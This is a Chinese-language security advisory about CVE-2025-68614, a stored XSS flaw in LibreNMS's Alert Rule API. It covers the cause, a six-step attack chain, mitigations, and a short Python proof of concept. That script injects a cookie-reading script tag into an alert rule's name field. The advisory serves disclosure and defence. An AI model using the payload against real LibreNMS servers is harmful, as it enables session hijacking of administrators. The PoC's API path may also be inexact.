IPBUF安全漏洞报告
English
CVE-2025-68614 CVSS 4.3 中危

CVE-2025-68614 LibreNMS Alert Rule API存储型XSS漏洞

披露日期: 2025-12-23

漏洞信息

漏洞编号
CVE-2025-68614
漏洞类型
存储型跨站脚本攻击(XSS)
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
LibreNMS

相关标签

存储型XSSLibreNMSCVE-2025-68614Alert Rule API网络监控工具PHP跨站脚本攻击

漏洞概述

LibreNMS是一款基于PHP/MySQL/SNMP的网络自动发现监控工具。在25.12.0版本之前,LibreNMS的Alert Rule API存在存储型跨站脚本(Stored XSS)漏洞。攻击者可以通过API接口创建或更新告警规则(Alert Rules),由于系统未对告警规则名称进行充分的输入清理和输出转义,攻击者可以在规则名称字段中注入恶意的HTML/JavaScript代码。当其他用户查看或管理这些告警规则时,注入的恶意脚本将在其浏览器上下文中执行,可能导致会话劫持、敏感信息窃取或进一步的横向移动。该漏洞需要高权限用户操作,且需要受害者进行一定交互才能触发,CVSS评分4.3,属于中等严重程度。

技术细节

漏洞存在于LibreNMS的Alert Rule API端点。攻击者通过API发送POST/PUT请求创建或更新告警规则时,在规则名称(name)参数中嵌入恶意JavaScript代码。由于后端未对该字段进行HTML实体编码或输入验证,恶意代码被直接存储到数据库中。当管理员或监控人员通过Web界面访问告警规则列表或详情页面时,这些未转义的数据被直接渲染到HTML中,导致JavaScript代码在用户浏览器中执行。攻击者可以利用此漏洞窃取用户会话Cookie、劫持管理员账户或进行钓鱼攻击。漏洞的利用前提是攻击者需要拥有LibreNMS的高权限账户(如admin角色),能够访问API并创建/修改告警规则。修复方案在GitHub提交ebe6c79bf4ce0afeb575c1285afe3934e44001f1中实现,主要添加了对告警规则名称的HTML转义处理。

攻击链分析

STEP 1
信息收集
攻击者识别目标系统运行LibreNMS,获取API访问端点信息
STEP 2
获取高权限账户
通过社工、凭证填充或其他方式获取LibreNMS管理员或高权限账户
STEP 3
构造恶意请求
通过API发送创建/更新告警规则的请求,在name参数中嵌入XSS payload
STEP 4
存储恶意代码
服务器未过滤直接将恶意代码存入数据库
STEP 5
诱导受害者访问
等待管理员或监控人员访问告警规则管理页面
STEP 6
脚本执行
受害者浏览器渲染页面时执行注入的JavaScript代码,窃取Cookie或执行恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-68614 LibreNMS Stored XSS PoC # Requires high-privilege API access import requests import json TARGET_URL = "http://target-librenms.com" API_TOKEN = "your-api-token-here" # Malicious payload for stored XSS xss_payload = '<script>alert(document.cookie)</script>' # Create alert rule with XSS payload headers = { 'Authorization': f'Bearer {API_TOKEN}', 'Content-Type': 'application/json' } alert_rule_data = { 'name': xss_payload, 'device_id': 1, 'rule': 'macros.device == 1', 'severity': 'warning', 'disabled': 0 } response = requests.post( f'{TARGET_URL}/api/routes/api_alerts.php', headers=headers, json=alert_rule_data ) if response.status_code == 200: print('[+] Alert rule created with XSS payload') print('[+] Payload will execute when viewed in LibreNMS web interface') else: print('[-] Failed to create alert rule') print(f'Response: {response.text}')

影响范围

LibreNMS < 25.12.0

防御指南

临时缓解措施
立即将LibreNMS升级到25.12.0版本。临时缓解措施包括:1)限制API访问权限,确保只有可信用户拥有创建告警规则的权限;2)实施严格的输入过滤规则,阻止<script>等危险标签;3)启用Web应用防火墙(WAF)规则检测XSS攻击特征;4)监控告警规则相关的异常API请求日志。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表